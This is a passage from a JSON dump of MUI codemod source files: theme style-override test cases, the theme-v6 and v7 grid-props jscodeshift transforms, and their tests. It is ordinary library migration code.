}\n            }, {\n              props: {\n                color: 'info',\n                variant: 'text'\n              },\n              style: {\n                  color: gray[700],\n                  '&:hover': {\n                    backgroundColor: alpha(gray[300], 0.3),\n                  },\n                }\n            }, {\n              props: {\n                variant: 'outlined'\n              },\n              style: {\n                ...theme.applyStyles(\"dark\", {\n                  color: brand[200],\n                  backgroundColor: alpha(brand[600], 0.1),\n                  borderColor: alpha(brand[600], 0.6),\n                  boxShadow: `inset 0 2.5px ${alpha(brand[400], 0.1)}, inset 0 -2px ${alpha(gray[900], 0.5)}`,\n                  '&:hover': {\n                    backgroundColor: alpha(brand[700], 0.2),\n                    borderColor: alpha(brand[700], 0.5),\n                    boxShadow: 'none',\n                  },\n                  '&:active': {\n                    backgroundColor: alpha(brand[800], 0.2),\n                    boxShadow: `inset 0 2.5px 0 ${alpha(brand[900], 0.4)}`,\n                    backgroundImage: 'none',\n                  },\n                })\n              }\n            }, {\n              props: {\n                color: 'info',\n                variant: 'text'\n              },\n              style: {\n                ...theme.applyStyles(\"dark\", {\n                    color: gray[200],\n                    '&:hover': {\n                      backgroundColor: alpha(gray[700], 0.3),\n                    },\n                  })\n              }\n            }, {\n              props: {\n                color: 'secondary',\n                variant: 'outlined'\n              },\n              style: {\n                ...theme.applyStyles(\"dark\", {\n                    color: gray[300],\n                    backgroundColor: alpha(gray[600], 0.1),\n                    borderColor: alpha(gray[700], 0.5),\n                    boxShadow: `inset 0 2.5px ${alpha(gray[600], 0.1)}, inset 0 -2px ${alpha(gray[900], 0.5)}`,\n                    '&:hover': {\n                      backgroundColor: alpha(gray[700], 0.2),\n                      borderColor: alpha(gray[700], 0.5),\n                      boxShadow: 'none',\n                    },\n                    '&:active': {\n                      backgroundColor: alpha(gray[800], 0.2),\n                      boxShadow: `inset 0 2.5px 0 ${alpha(gray[900], 0.4)}`,\n                      backgroundImage: 'none',\n                    },\n                  })\n              }\n            }, {\n              props: {\n                color: 'primary',\n                variant: 'text'\n              },\n              style: {\n                ...theme.applyStyles(\"dark\", {\n                    color: brand[200],\n                    '&:hover': {\n                      backgroundColor: alpha(brand[700], 0.3),\n                    },\n                  })\n              }\n            }]\n          }),\n        },\n      },\n      MuiCard: {\n        styleOverrides: {\n          root: ({\n            theme\n          }) => ({\n            transition: 'all 100ms ease',\n            backgroundColor: gray[50],\n            borderRadius: theme.shape.borderRadius,\n            border: `1px solid ${alpha(gray[200], 0.5)}`,\n            boxShadow: 'none',\n            ...theme.applyStyles(\"dark\", {\n              backgroundColor: alpha(gray[800], 0.6),\n              border: `1px solid ${alpha(gray[700], 0.3)}`\n            }),\n            variants: [{\n              props: {\n                variant: 'outlined'\n              },\n              style: {\n                border: `1px solid ${gray[200]}`,\n                boxShadow: 'none',\n                background: `linear-gradient(to bottom, hsl(0, 0%, 100%), ${gray[50]})`,\n              }\n            }, {\n              props: {\n                variant: 'outlined'\n              },\n              style: {\n                ...theme.applyStyles(\"dark\", {\n                  border: `1px solid ${alpha(gray[700], 0.4)}`,\n                  boxShadow: 'none',\n                  background: `linear-gradient(to bottom, ${gray[900]}, ${alpha(gray[800], 0.5)})`,\n                })\n              }\n            }]\n          }),\n        },\n      },\n      MuiCheckbox: {\n        defaultProps: {\n          disableRipple: true,\n          icon: <CheckBoxOutlineBlankRoundedIcon sx={{ color: 'hsla(210, 0%, 0%, 0.0)' }} />,\n          checkedIcon: <CheckRoundedIcon sx={{ height: 14, width: 14 }} />,\n        },\n        styleOverrides: {\n          root: ({ theme }) => ({\n            margin: 10,\n            height: 16,\n            width: 16,\n            borderRadius: 5,\n            border: '1px solid ',\n            borderColor: alpha(gray[300], 0.8),\n            boxShadow: '0 0 0 1.5px hsla(210, 0%, 0%, 0.04) inset',\n            transition: 'border-color 120ms ease-in',\n            backgroundColor: alpha(gray[100], 0.4),\n            '&:hover': {\n              borderColor: brand[300],\n            },\n            '&.Mui-focusVisible': {\n              outline: `3px solid ${alpha(brand[500], 0.5)}`,\n              outlineOffset: '2px',\n              borderColor: brand[400],\n            },\n            '&.Mui-checked': {\n              color: 'white',\n              backgroundColor: brand[500],\n              borderColor: brand[500],\n              boxShadow: `none`,\n              '&:hover': {\n                backgroundColor: brand[600],\n              },\n            },\n            ...theme.applyStyles(\"dark\", {\n              borderColor: alpha(gray[700], 0.5),\n              boxShadow: '0 0 0 1.5px hsl(210, 0%, 0%) inset',\n              backgroundColor: alpha(gray[900], 0.8),\n              '&:hover': {\n                borderColor: brand[300],\n              },\n              '&.Mui-focusVisible': {\n                borderColor: brand[400],\n                outline: `3px solid ${alpha(brand[500], 0.5)}`,\n                outlineOffset: '2px',\n              },\n            }),\n          }),\n        },\n      },\n      MuiDivider: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            borderColor: `${alpha(gray[200], 0.8)}`,\n            ...theme.applyStyles(\"dark\", {\n              borderColor: `${alpha(gray[700], 0.4)}`,\n            }),\n          }),\n        },\n      },\n      MuiFormLabel: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            typography: theme.typography.caption,\n            marginBottom: 8,\n          }),\n        },\n      },\n      MuiIconButton: {\n        styleOverrides: {\n          root: ({\n            theme\n          }) => ({\n            color: brand[500],\n            '&:hover': {\n              backgroundColor: alpha(brand[300], 0.3),\n              borderColor: brand[200],\n            },\n            ...theme.applyStyles(\"dark\", {\n              color: brand[200],\n              '&:hover': {\n                backgroundColor: alpha(brand[600], 0.3),\n                borderColor: brand[700],\n              },\n            }),\n            variants: [{\n              props: {\n                size: 'small'\n              },\n              style: {\n                height: '2rem',\n                width: '2rem',\n              }\n            }, {\n              props: {\n                size: 'medium'\n              },\n              style: {\n                height: '2.5rem',\n                width: '2.5rem',\n              }\n            }]\n          }),\n        },\n      },\n      MuiInputBase: {\n        styleOverrides: {\n          root: {\n            border: 'none',\n          },\n        },\n      },\n      MuiLink: {\n        defaultProps: {\n          underline: 'none',\n        },\n        styleOverrides: {\n          root: ({ theme }) => ({\n            color: brand[700],\n            fontWeight: 500,\n            position: 'relative',\n            textDecoration: 'none',\n            '&::before': {\n              content: '\"\"',\n              position: 'absolute',\n              width: 0,\n              height: '1px',\n              bottom: 0,\n              left: 0,\n              backgroundColor: brand[200],\n              opacity: 0.7,\n              transition: 'width 0.3s ease, opacity 0.3s ease',\n            },\n            '&:hover::before': {\n              width: '100%',\n              opacity: 1,\n            },\n            '&:focus-visible': {\n              outline: `3px solid ${alpha(brand[500], 0.5)}`,\n              outlineOffset: '4px',\n              borderRadius: '2px',\n            },\n            ...theme.applyStyles(\"dark\", {\n              color: brand[200],\n            }),\n          }),\n        },\n      },\n      MuiOutlinedInput: {\n        styleOverrides: {\n          notchedOutline: {\n            border: 'none',\n          },\n          input: {\n            paddingLeft: 10,\n          },\n          root: ({\n            theme\n          }) => ({\n            'input:-webkit-autofill': {\n              WebkitBoxShadow: `0 0 0 1000px ${brand[100]} inset, 0 0 0 1px ${brand[200]}`,\n              maxHeight: '4px',\n              borderRadius: '8px',\n            },\n            '& .MuiInputBase-input': {\n              fontSize: '1rem',\n              '&::placeholder': {\n                opacity: 0.7,\n                color: gray[500],\n              },\n            },\n            boxSizing: 'border-box',\n            flexGrow: 1,\n            height: '40px',\n            borderRadius: theme.shape.borderRadius,\n            border: '1px solid',\n            borderColor: alpha(gray[300], 0.8),\n            boxShadow: '0 0 0 1.5px hsla(210, 0%, 0%, 0.02) inset',\n            transition: 'border-color 120ms ease-in',\n            backgroundColor: alpha(gray[100], 0.4),\n            '&:hover': {\n              borderColor: brand[300],\n            },\n            '&.Mui-focused': {\n              outline: `3px solid ${alpha(brand[500], 0.5)}`,\n              outlineOffset: '2px',\n              borderColor: brand[400],\n            },\n            ...theme.applyStyles(\"dark\", {\n              'input:-webkit-autofill': {\n                WebkitBoxShadow: `0 0 0 1000px ${brand[900]} inset, 0 0 0 1px ${brand[600]}`,\n                maxHeight: '6px',\n                borderRadius: '8px',\n              },\n              '& .MuiInputBase-input': {\n                fontSize: '1rem',\n                '&::placeholder': {\n                  opacity: 1,\n                  color: gray[500],\n                },\n              },\n              borderColor: alpha(gray[700], 0.5),\n              boxShadow: '0 0 0 1.5px hsl(210, 0%, 0%) inset',\n              backgroundColor: alpha(gray[900], 0.8),\n              transition: 'border-color 120ms ease-in',\n              '&:hover': {\n                borderColor: brand[300],\n              },\n              '&.Mui-focused': {\n                borderColor: brand[400],\n                outline: `3px solid ${alpha(brand[500], 0.5)}`,\n                outlineOffset: '2px',\n              }\n            }),\n            variants: [{\n              props: {\n                color: 'error'\n              },\n              style: {\n                borderColor: red[200],\n                color: red[500],\n                '& + .MuiFormHelperText-root': {\n                  color: red[500],\n                },\n              }\n            }, {\n              props: {\n                color: 'error'\n              },\n              style: {\n                ...theme.applyStyles(\"dark\", {\n                  borderColor: red[700],\n                  color: red[300],\n                  '& + .MuiFormHelperText-root': {\n                    color: red[300],\n                  },\n                })\n              }\n            }]\n          }),\n        },\n      },\n      MuiPaper: {\n        defaultProps: {\n          elevation: 0,\n        },\n      },\n      MuiStack: {\n        defaultProps: {\n          useFlexGap: true,\n        },\n      },\n      MuiStepConnector: {\n        styleOverrides: {\n          line: ({ theme }) => ({\n            borderTop: '1px solid',\n            borderColor: theme.palette.divider,\n            flex: 1,\n            borderRadius: '99px',\n          }),\n        },\n      },\n      MuiStepIcon: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            color: 'transparent',\n            border: `1px solid ${gray[400]}`,\n            width: 12,\n            height: 12,\n            borderRadius: '50%',\n            '& text': {\n              display: 'none',\n            },\n            '&.Mui-active': {\n              border: 'none',\n              color: theme.palette.primary.main,\n            },\n            '&.Mui-completed': {\n              border: 'none',\n              color: theme.palette.success.main,\n            },\n            ...theme.applyStyles(\"dark\", {\n              border: `1px solid ${gray[700]}`,\n              '&.Mui-active': {\n                border: 'none',\n                color: theme.palette.primary.light,\n              },\n              '&.Mui-completed': {\n                border: 'none',\n                color: theme.palette.success.light,\n              },\n            }),\n            variants: [\n              {\n                props: { completed: true },\n                style: ({\n                  width: 12,\n                  height: 12\n                }),\n              },\n            ]\n          }),\n        }\n      },\n      MuiStepLabel: {\n        styleOverrides: {\n          label: ({ theme }) => ({\n            '&.Mui-completed': {\n              opacity: 0.6,\n              ...theme.applyStyles(\"dark\", { opacity: 0.5 }),\n            },\n          }),\n        },\n      },\n      MuiToggleButtonGroup: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            borderRadius: theme.shape.borderRadius,\n            boxShadow: `0 1px 2px hsla(210, 0%, 0%, 0.05), 0 2px 12px ${alpha(brand[200], 0.5)}`,\n            '& .Mui-selected': {\n              color: brand[500],\n            },\n            ...theme.applyStyles(\"dark\", {\n              '& .Mui-selected': {\n                color: 'hsl(0, 0%, 100%)',\n              },\n              boxShadow: `0 0 0 1px hsla(210, 0%, 0%, 0.5), 0 2px 12px ${alpha(brand[700], 0.5)}`,\n            }),\n          }),\n        },\n      },\n      MuiToggleButton: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            padding: '12px 16px',\n            textTransform: 'none',\n            borderRadius: theme.shape.borderRadius,\n            fontWeight: 500,\n            ...theme.applyStyles(\"dark\", {\n              color: gray[400],\n              '&.Mui-selected': { color: brand[300] },\n            }),\n          }),\n        },\n      },\n    },\n  };\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/theme-v6/test-cases/themeVariants.actual.js",
    "content": "export default function getCheckoutTheme(mode) {\n  return {\n    ...getDesignTokens(mode),\n    components: {\n      MuiStepIcon: {\n        variants: [\n          {\n            props: { completed: true },\n            style: () => ({\n              width: 12,\n              height: 12,\n            }),\n          },\n        ],\n        styleOverrides: {\n          root: ({ theme, ownerState }) => ({\n            color: 'transparent',\n            border: `1px solid ${gray[400]}`,\n            width: 12,\n            height: 12,\n            borderRadius: '50%',\n            '& text': {\n              display: 'none',\n            },\n            '&.Mui-active': {\n              border: 'none',\n              color: theme.palette.primary.main,\n            },\n            '&.Mui-completed': {\n              border: 'none',\n              color: theme.palette.success.main,\n            },\n            ...(ownerState.size === 'large' && {\n              width: 20,\n              height: 20,\n            }),\n            ...(theme.palette.mode === 'dark' && {\n              border: `1px solid ${gray[700]}`,\n              '&.Mui-active': {\n                border: 'none',\n                color: theme.palette.primary.light,\n              },\n              '&.Mui-completed': {\n                border: 'none',\n                color: theme.palette.success.light,\n              },\n              ...(ownerState.variant === 'shadow' && {\n                boxShadow: theme.shadows[2],\n              }),\n            }),\n          }),\n        },\n      },\n    },\n  };\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/theme-v6/test-cases/themeVariants.expected.js",
    "content": "export default function getCheckoutTheme(mode) {\n  return {\n    ...getDesignTokens(mode),\n    components: {\n      MuiStepIcon: {\n        styleOverrides: {\n          root: ({\n            theme\n          }) => ({\n            color: 'transparent',\n            border: `1px solid ${gray[400]}`,\n            width: 12,\n            height: 12,\n            borderRadius: '50%',\n            '& text': {\n              display: 'none',\n            },\n            '&.Mui-active': {\n              border: 'none',\n              color: theme.palette.primary.main,\n            },\n            '&.Mui-completed': {\n              border: 'none',\n              color: theme.palette.success.main,\n            },\n            ...theme.applyStyles(\"dark\", {\n              border: `1px solid ${gray[700]}`,\n              '&.Mui-active': {\n                border: 'none',\n                color: theme.palette.primary.light,\n              },\n              '&.Mui-completed': {\n                border: 'none',\n                color: theme.palette.success.light,\n              }\n            }),\n            variants: [{\n              props: {\n                size: 'large'\n              },\n              style: {\n                width: 20,\n                height: 20,\n              }\n            }, {\n              props: {\n                variant: 'shadow'\n              },\n              style: {\n                ...theme.applyStyles(\"dark\", {\n                  boxShadow: theme.shadows[2],\n                })\n              }\n            }, {\n              props: { completed: true },\n              style: ({\n                width: 12,\n                height: 12\n              }),\n            }]\n          }),\n        }\n      },\n    },\n  };\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/theme-v6/theme-v6.js",
    "content": "import getReturnExpression from '../../util/getReturnExpression';\nimport migrateToVariants from '../../util/migrateToVariants';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function themeV6(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  let shouldTransform = false;\n\n  root.find(j.ArrowFunctionExpression).forEach((path) => {\n    const styles = [];\n    let args = [];\n\n    if (path.parent.parent.parent.get('key', 'name').value === 'styleOverrides') {\n      args = [path.node];\n    }\n\n    // 1. collecting styles that should be transformed\n    args.forEach((arg) => {\n      if (\n        arg.type === 'ArrowFunctionExpression' &&\n        arg.params[0] &&\n        arg.params[0].type === 'ObjectPattern'\n      ) {\n        styles.push(arg);\n      }\n    });\n\n    if (!shouldTransform && styles.length > 0) {\n      shouldTransform = true;\n    }\n\n    migrateToVariants(j, styles);\n\n    if (path.parent.get('key', 'name').value === 'root') {\n      const componentTheme = path.parent.parent.parent.parent.get('properties');\n      if (componentTheme.node.type === 'ObjectExpression') {\n        componentTheme.node.properties.forEach((prop) => {\n          if (prop.key.name === 'variants') {\n            prop.value.elements = prop.value.elements.map((element) => {\n              const styleIndex = element.properties.findIndex(\n                (styleProp) =>\n                  styleProp.type === 'ObjectProperty' && styleProp.key.name === 'style',\n              );\n              if (\n                styleIndex !== -1 &&\n                element.properties[styleIndex].value.type !== 'ObjectExpression'\n              ) {\n                element.properties[styleIndex].value = getReturnExpression(\n                  element.properties[styleIndex].value,\n                );\n              }\n              return element;\n            });\n            const stylesNode = getReturnExpression(path.node);\n            const variantsNode = stylesNode?.properties.find(\n              (styleProp) =>\n                styleProp.type === 'ObjectProperty' && styleProp.key.name === 'variants',\n            );\n            if (variantsNode) {\n              variantsNode.value.elements.push(...prop.value.elements);\n            } else {\n              stylesNode.properties.push(j.property('init', j.identifier('variants'), prop.value));\n            }\n          }\n        });\n        componentTheme.node.properties = componentTheme.node.properties.filter(\n          (prop) => prop.key.name !== 'variants',\n        );\n      }\n    }\n  });\n\n  const transformed = root.toSource(printOptions);\n\n  if (shouldTransform) {\n    // recast adds extra newlines that we don't want, https://github.com/facebook/jscodeshift/issues/249\n    // need to remove them manually\n    const lines = [];\n    let isInStyled = false;\n    let spaceMatch;\n    transformed.split('\\n').forEach((line) => {\n      if (!isInStyled) {\n        lines.push(line);\n      } else if (line !== '') {\n        if (spaceMatch && line.match(/^\\s+/)?.[0] === spaceMatch?.[0]) {\n          isInStyled = false;\n          spaceMatch = null;\n        }\n        lines.push(line);\n      }\n      if (line.includes('styleOverrides')) {\n        isInStyled = true;\n        spaceMatch = line.match(/^\\s+/);\n      }\n    });\n    return lines.join('\\n');\n  }\n\n  return transformed;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/theme-v6/theme-v6.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './theme-v6';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v6.0.0 - theme-v6', () => {\n    describe('styleOverrides', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/basicTheme.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/basicTheme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/basicTheme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/basicTheme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('theme variants to root slot', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/themeVariants.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/themeVariants.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/themeVariants.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/themeVariants.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/all/index.js",
    "content": "export { default } from './v7-all';\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/all/postcss.config.js",
    "content": "// Currently empty, when adding the first codemod:\n//   - Read mui-codemod/CONTRIBUTING.md\n//   - Follow mui-codemod/src/deprecations/all/postcss.config.js as a guide\n//   - Remove this comment\nmodule.exports = {\n  plugins: [],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/all/v7-all.js",
    "content": "import gridPropsTransform from '../grid-props';\nimport labRemovedComponentsTransform from '../lab-removed-components';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function v7All(file, api, options) {\n  gridPropsTransform(file, api, options);\n  labRemovedComponentsTransform(file, api, options);\n  return file.source;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/grid-props/grid-props.js",
    "content": "const possibleDefaultImports = ['@mui/material/Grid', '@mui/system/Grid', '@mui/joy/Grid'];\nconst possibleNamedImports = {\n  '@mui/material': 'Grid',\n  '@mui/system': 'Grid',\n  '@mui/joy': 'Grid',\n};\n\nconst defaultBreakpoints = ['xs', 'sm', 'md', 'lg', 'xl'];\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function gridV2Props(file, api, options) {\n  if (file.path?.endsWith('.json') || file.path?.endsWith('.d.ts')) {\n    return file.source;\n  }\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const breakpoints = options.muiBreakpoints?.split(',') || defaultBreakpoints;\n  const printOptions = options.printOptions;\n  const packageName = options.packageName;\n\n  if (packageName) {\n    possibleDefaultImports.push(`${packageName}/Grid`);\n    possibleNamedImports[packageName] = 'Grid';\n  }\n\n  const gridLocalNames = [];\n\n  root\n    .find(j.ImportDeclaration, (decl) => possibleDefaultImports.includes(decl.source.value))\n    .forEach((decl) => {\n      decl.node.specifiers.forEach((spec) => {\n        if (spec.type === 'ImportDefaultSpecifier') {\n          gridLocalNames.push(spec.local.name);\n        }\n      });\n    });\n\n  root\n    .find(j.ImportDeclaration, (decl) =>\n      Object.keys(possibleNamedImports).includes(decl.source.value),\n    )\n    .forEach((decl) => {\n      decl.node.specifiers.forEach((spec) => {\n        if (spec.type === 'ImportSpecifier') {\n          if (possibleNamedImports[decl.node.source.value] === spec.imported.name) {\n            gridLocalNames.push(spec.local.name);\n          }\n        }\n      });\n    });\n\n  root\n    .find(j.JSXElement, {\n      openingElement: {\n        name: {\n          name: (name) => gridLocalNames.includes(name),\n        },\n      },\n    })\n    .forEach((el) => {\n      const size = j.objectExpression([]);\n\n      const spreadProps = [];\n      const attributesToPrune = [];\n\n      el.node.openingElement.attributes.forEach((attr) => {\n        if (attr.type === 'JSXSpreadAttribute') {\n          spreadProps.push(attr);\n        }\n      });\n\n      const breakpointNodes = j(el)\n        .find(j.JSXAttribute)\n        .filter(\n          (path) =>\n            path.parent.parent.node === el.node && breakpoints.includes(path.node.name.name),\n        );\n\n      breakpointNodes.nodes().forEach((node) => {\n        const breakpoint = node.name.name;\n        const nodeValue = node.value;\n        let value;\n\n        if (nodeValue === null) {\n          value = j.stringLiteral('grow');\n        } else if (nodeValue.type === 'JSXExpressionContainer') {\n          if (nodeValue.expression.value === true) {\n            value = j.stringLiteral('grow');\n          } else {\n            value = nodeValue.expression;\n          }\n        } else {\n          value = nodeValue;\n        }\n\n        size.properties.push(j.property('init', j.identifier(breakpoint), value));\n      });\n\n      spreadProps.forEach((spreadProp) => {\n        const spreadPropArgument = spreadProp.argument;\n        if (spreadPropArgument.type === 'ObjectExpression') {\n          const propertiesToPrune = [];\n          spreadPropArgument.properties.forEach((property) => {\n            if (breakpoints.includes(property.key.name)) {\n              size.properties.push(j.property('init', property.key, property.value));\n              propertiesToPrune.push(property.key.name);\n            }\n          });\n          spreadPropArgument.properties = spreadPropArgument.properties.filter(\n            (prop) => !propertiesToPrune.includes(prop.key.name),\n          );\n          if (spreadPropArgument.properties.length === 0) {\n            attributesToPrune.push(spreadProp);\n          }\n        }\n      });\n\n      if (size.properties.length) {\n        let sizePropValue = size;\n        if (size.properties.length === 1 && size.properties[0].key.name === 'xs') {\n          sizePropValue = size.properties[0].value;\n        }\n        if (sizePropValue.type !== 'StringLiteral') {\n          sizePropValue = j.jsxExpressionContainer(sizePropValue);\n        }\n\n        el.node.openingElement.attributes.push(\n          j.jsxAttribute(j.jsxIdentifier('size'), sizePropValue),\n        );\n      }\n\n      el.node.openingElement.attributes = el.node.openingElement.attributes.filter(\n        (attr) => !breakpoints.includes(attr?.name?.name),\n      );\n\n      const offset = j.objectExpression([]);\n\n      const offsetNodes = j(el)\n        .find(j.JSXAttribute)\n        .filter(\n          (path) =>\n            path.parent.parent.node === el.node &&\n            path.node.name.name.endsWith('Offset') &&\n            breakpoints.includes(path.node.name.name.replace('Offset', '')),\n        );\n\n      offsetNodes.nodes().forEach((node) => {\n        const breakpoint = node.name.name.replace('Offset', '');\n        const value =\n          node.value.type === 'JSXExpressionContainer' ? node.value.expression : node.value;\n\n        offset.properties.push(j.property('init', j.identifier(breakpoint), value));\n      });\n\n      spreadProps.forEach((spreadProp) => {\n        const spreadPropArgument = spreadProp.argument;\n        if (spreadPropArgument.type === 'ObjectExpression') {\n          const propertiesToPrune = [];\n          spreadPropArgument.properties.forEach((property) => {\n            const breakpoint = property.key.name.replace('Offset', '');\n            if (property.key.name.endsWith('Offset') && breakpoints.includes(breakpoint)) {\n              offset.properties.push(j.property('init', j.identifier(breakpoint), property.value));\n              propertiesToPrune.push(property.key.name);\n            }\n          });\n          spreadPropArgument.properties = spreadPropArgument.properties.filter(\n            (prop) => !propertiesToPrune.includes(prop.key.name),\n          );\n          if (spreadPropArgument.properties.length === 0) {\n            attributesToPrune.push(spreadProp);\n          }\n        }\n      });\n\n      if (offset.properties.length) {\n        let offsetPropValue = offset;\n\n        if (offset.properties.length === 1 && offset.properties[0].key.name === 'xs') {\n          offsetPropValue = offset.properties[0].value;\n        }\n\n        if (offsetPropValue.type !== 'StringLiteral') {\n          offsetPropValue = j.jsxExpressionContainer(offsetPropValue);\n        }\n\n        el.node.openingElement.attributes.push(\n          j.jsxAttribute(j.jsxIdentifier('offset'), offsetPropValue),\n        );\n      }\n\n      el.node.openingElement.attributes = el.node.openingElement.attributes.filter(\n        (attr) => !breakpoints.includes(attr?.name?.name.replace('Offset', '')),\n      );\n\n      el.node.openingElement.attributes = el.node.openingElement.attributes.filter(\n        (attr) => !attributesToPrune.includes(attr),\n      );\n\n      const itemProp = el.node.openingElement.attributes.find(\n        (attr) => attr.type === 'JSXAttribute' && attr.name.name === 'item',\n      );\n\n      if (itemProp) {\n        el.node.openingElement.attributes = el.node.openingElement.attributes.filter(\n          (attr) => attr.type === 'JSXAttribute' && attr.name.name !== 'item',\n        );\n      }\n\n      const zeroMinWidthProp = el.node.openingElement.attributes.find(\n        (attr) => attr.type === 'JSXAttribute' && attr.name.name === 'zeroMinWidth',\n      );\n\n      if (zeroMinWidthProp) {\n        el.node.openingElement.attributes = el.node.openingElement.attributes.filter(\n          (attr) => attr.type === 'JSXAttribute' && attr.name.name !== 'zeroMinWidth',\n        );\n      }\n    });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/grid-props/grid-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './grid-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'grid-props',\n      dirname: __dirname,\n      testCases: [\n        {\n          actual: '/test-cases/actual.js',\n          expected: '/test-cases/expected.js',\n        },\n        {\n          actual: '/test-cases/custom-breakpoints.actual.js',\n          expected: '/test-cases/custom-breakpoints.expected.js',\n          options: { muiBreakpoints: 'customXs,customSm,customMd' },\n        },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/grid-props/index.js",
    "content": "export { default } from './grid-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/grid-props/test-cases/actual.js",
    "content": "import GridA from '@mui/material/Grid';\nimport GridLegacyA from '@mui/material/GridLegacy';\nimport GridB from '@mui/system/Grid';\nimport GridC from '@mui/joy/Grid';\nimport { Grid as GridD, GridLegacy as GridLegacyB } from '@mui/material';\nimport { Grid as GridE } from '@mui/system';\nimport { Grid as GridF } from '@mui/joy';\n\n// Transforms on all the possible imports\n<GridA xs={2} />;\n<GridB xs={2} />;\n<GridC xs={2} />;\n<GridD xs={2} />;\n<GridE xs={2} />;\n<GridF xs={2} />;\n\n<GridA item />;\n<GridA item={true} />;\n<GridA item={false} />;\n\n<GridA zeroMinWidth />;\n<GridA zeroMinWidth={true} />;\n<GridA zeroMinWidth={false} />;\n\n// Transforms responsive sizes\n<GridA xs={2} sm={4} md={6} lg={8} xl={10} />;\n\n// Transforms all the possible size values\n<GridA xs sm=\"auto\" md={2} lg={true} xl={false} />;\n\n// Doesn't add jsx object expression for single string values\n<GridA xs=\"auto\" />;\n\n// Transforms offset\n<GridA xsOffset={2} />;\n\n// Transforms responsive offset\n<GridA xsOffset={2} smOffset={4} mdOffset={6} lgOffset={8} xlOffset={10} />;\n\n// Transforms all the possible offset values\n<GridA xsOffset={2} smOffset=\"auto\" />;\n\n// Transforms spread props\n<GridA {...{ xs: 2, sm: 4, xsOffset: 0, smOffset: 2 }} />;\n\n// Doesn't transform Grid v1\n<GridLegacyA xs={2} />;\n<GridLegacyB xs={2} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/grid-props/test-cases/custom-breakpoints.actual.js",
    "content": "import Grid from '@mui/material/Grid';\n\n// Transforms custom breakpoints\n<Grid customXs={2} customSm={4} customMd={6} />;\n\n// Transforms custom breakpoints offset\n<Grid customXsOffset={2} customSmOffset={4} customMdOffset={6} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/grid-props/test-cases/custom-breakpoints.expected.js",
    "content": "import Grid from '@mui/material/Grid';\n\n// Transforms custom breakpoints\n<Grid\n  size={{\n    customXs: 2,\n    customSm: 4,\n    customMd: 6\n  }} />;\n\n// Transforms custom breakpoints offset\n<Grid\n  offset={{\n    customXs: 2,\n    customSm: 4,\n    customMd: 6\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/grid-props/test-cases/expected.js",
